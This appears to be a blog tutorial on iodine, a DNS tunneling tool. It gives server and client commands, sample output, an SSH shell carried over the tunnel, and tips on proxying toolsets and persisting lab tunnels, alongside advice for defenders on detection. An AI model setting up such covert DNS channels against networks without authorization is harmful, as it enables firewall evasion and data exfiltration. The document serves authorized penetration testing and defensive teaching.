iodine-client-start: A client for DNS tunneling, allows IP over DNS-based network communication

iodine-client-start: A client for DNS tunneling, allows IP over DNS-based network communication

DNS tunneling is one of those techniques that keeps working because DNS is almost never fully blocked outbound — it can’t be, or the network stops functioning. iodine is my go-to tool for demonstrating exactly how much damage that necessity can enable. Here’s the full picture.

What Is iodine?

iodine is a tool that tunnels IPv4 traffic through DNS queries and responses, allowing you to establish a full network connection to a remote server even when the only outbound access available is DNS resolution. iodine-client-start is the Debian/Kali wrapper script that simplifies invoking the iodine client binary with saved configuration.

The core idea: DNS queries for a domain you control get routed to your authoritative name server, which happens to be running iodined (the iodine server). Data is encoded into subdomain labels and DNS record types (TXT, NULL, PRIVATE, etc.), and the response carries data back the same way.

Architecture and Internal Working

  1. iodined (server) — runs on a machine you control, authoritative for a domain (or subdomain) you own, e.g., tunnel.example.com.
  2. iodine (client) — runs on the restricted host. It crafts DNS queries like abcs8f3k2.tunnel.example.com, where the leading label encodes tunneled IP packet data.
  3. Because normal DNS resolution on the restricted network eventually forwards unknown-domain queries up the DNS hierarchy (recursive resolver → root → TLD → your authoritative server), the query eventually reaches iodined, which decodes the payload, processes it as an IP packet, and sends the response back encoded inside the DNS answer.
  4. iodine negotiates the best-performing DNS record type and packet size during connection setup, since different resolvers and middleboxes handle EDNS0, TXT records, and NULL records differently.
  5. Once established, iodine creates a virtual network interface (dns0 or similar) carrying a full IP tunnel, achieving speeds typically in the tens to low hundreds of kbps — slow, but functional for shells and small transfers.

Installation

sudo apt update
sudo apt install iodine

This installs both iodined (server) and iodine/iodine-client-start (client).

Prerequisites for a Real Test

You need:

  • A domain you control (e.g., tunnel.yourlab.com)
  • An NS record delegating a subdomain to your server’s public IP
  • A public-facing VM to run iodined

Syntax

Server side:

sudo iodined -f -c -P labpassword 10.0.0.1 tunnel.yourlab.com

Client side:

sudo iodine -f -P labpassword tunnel.yourlab.com

Flag breakdown:

  • -f — run in foreground (useful for debugging)
  • -c — disable check of client IP on server (needed behind some NATs)
  • -P — shared password for authentication
  • 10.0.0.1 — the internal tunnel IP the server assigns itself
  • tunnel.yourlab.com — the delegated tunnel domain

Complete Command Example and Output

On the server:

$ sudo iodined -f -c -P labpassword123 10.0.0.1 tunnel.yourlab.com
Opened dns0
Setting IP of dns0 to 10.0.0.1
Setting MTU of dns0 to 1130
Opened UDP socket
Listening to dns for domain tunnel.yourlab.com

On the client:

$ sudo iodine -f -P labpassword123 tunnel.yourlab.com
Opened dns0
Sending queries for tunnel.yourlab.com to 192.168.1.1
Autodetecting query type (to force otherwise use -T option).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502
Setting IP of dns0 to 10.0.0.2
Setting MTU of dns0 to 1130
Server tells us that we can fragment
Connection setup complete, transmitting data.

Testing the tunnel:

ping -c 4 10.0.0.1
64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=118 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=121 ms

Getting a shell over the tunnel:

ssh root@10.0.0.1

This SSH session now travels entirely inside DNS queries.

Verifying with tcpdump on the restricted client:

sudo tcpdump -i eth0 udp port 53 -n
14:41:02.221093 IP 10.10.10.5.41332 > 192.168.1.1.53: 12345+ NULL? abz8k3f92j1.tunnel.yourlab.com. (89)
14:41:02.298871 IP 192.168.1.1.53 > 10.10.10.5.41332: 12345 1/0/0 NULL (412)

Real-World Use Case (Authorized Pentest)

DNS tunneling with iodine is one of the most convincing egress-filtering demonstrations I run:

  1. On a network with a highly locked-down proxy/firewall, but where DNS resolution is (as it almost always is) permitted, I stand up iodined on a VM under a domain I control.
  2. From inside the client’s segmented network, I run iodine and establish the tunnel.
  3. I then demonstrate a full reverse shell or SSH session riding entirely inside DNS traffic, proving that “we block everything except DNS” is not actually a complete egress control.
  4. For the report, I capture the DNS query volume and payload entropy, and I recommend DNS-based data exfiltration detection (query length/entropy analysis, NXDOMAIN rate monitoring, and DNS query volume anomaly detection) plus restricting recursive DNS to only the sanctioned internal resolver, disallowing direct external DNS queries from endpoints.

Automation and Integration

  • Wrap iodine-client-start in a systemd unit or cron-triggered script for persistent lab tunnels.
  • Combine with proxychains4 by running a SOCKS proxy (ssh -D) over the established DNS tunnel interface, letting you proxy full toolsets through DNS as the transport.
  • Pair with Wireshark’s DNS statistics view to visualize and export tunnel traffic patterns for reporting.

Performance Optimization

  • Use -T NULL explicitly if autodetection picks a slower record type; NULL and PRIVATE record types generally offer the best throughput where supported.
  • Reduce MTU-related fragmentation issues by letting iodine’s autodetection run fully before transferring large data.
  • Expect and communicate to stakeholders that DNS tunneling throughput (often 10–100 kbps) is inherently far below normal broadband — it’s a proof-of-concept for covert channels, not a production VPN replacement.

Troubleshooting

  • Connection setup never completes: verify your domain’s NS delegation is correct — the tunnel subdomain must actually resolve to your server’s public IP, and this can take time to propagate.
  • Works locally but not through the client’s resolver: some corporate resolvers block or rate-limit unusual query types (NULL, TXT); try forcing -T TXT if NULL fails.
  • Intermittent drops: aggressive DNS caching, resolver timeouts, or upstream filtering appliances can interrupt long tunnel sessions; check with tcpdump for retransmissions.
  • “Server appears to be flooded”: rate limiting on either the client or server side; ensure you’re not oversaturating a low-throughput channel with heavy traffic.

Best Practices

  • Only run this against domains and infrastructure you own, in scope, and with written authorization.
  • Use -P with a strong password every time; an unauthenticated iodined listener can be discovered and abused by others.
  • Capture full packet traces during the demonstration — DNS tunneling findings are much more persuasive to stakeholders when they can see the query volume and payload directly.
  • Recommend the client implement DNS query logging and entropy-based anomaly detection as the primary defensive control, since blocking DNS outright isn’t operationally viable.

Common Mistakes

  • Forgetting to delegate the NS record properly, leading to confusing “it just doesn’t connect” failures that are actually DNS infrastructure issues, not iodine issues.
  • Running the demonstration without first testing normal DNS resolution to the tunnel domain, wasting time troubleshooting the wrong layer.
  • Assuming iodine performance issues are bugs, when they’re often the resolver path throttling unusual query types.

FAQ

Does iodine tunnel encrypt traffic? No — iodine does not encrypt payload data by default; the tunnel obscures the channel (making it look like DNS), not the confidentiality of what’s inside. Layer SSH or another encrypted protocol on top for confidentiality.

Can iodine bypass any firewall? Only ones that permit outbound DNS resolution (which is nearly all of them, since DNS is required for basic network function) and that don’t block/inspect unusual DNS query patterns.

How fast is an iodine tunnel? Typically tens to low hundreds of kbps — enough for a shell or small file transfers, not for bulk data movement.

How can defenders detect iodine tunnels? Look for abnormally long subdomain labels, high query volume to a single domain, unusual query types (NULL/TXT/PRIVATE at high frequency), and high-entropy subdomain strings.

Summary

iodine turns DNS — the one protocol that almost never gets fully blocked — into a full IP tunnel. In authorized engagements it’s a powerful way to demonstrate that egress filtering focused only on “obvious” ports is incomplete, and it drives home the need for DNS-layer monitoring as part of a complete security posture.

References

  • iodine GitHub: https://github.com/yarrick/iodine
  • Kali Linux tool page: https://www.kali.org/tools/iodine/
  • Man pages: man iodine, man iodined
Total
0
Shares

Leave a Reply

Previous Post
dns2tcpd: A server-side tool for handling DNS-based TCP tunneling

dns2tcpd: A server-side tool for handling DNS-based TCP tunneling

Next Post
miredo: A Teredo (IPv6 over IPv4) tunneling daemon for creating a VPN-like connection

miredo: A Teredo (IPv6 over IPv4) tunneling daemon for creating a VPN-like connection

Related Posts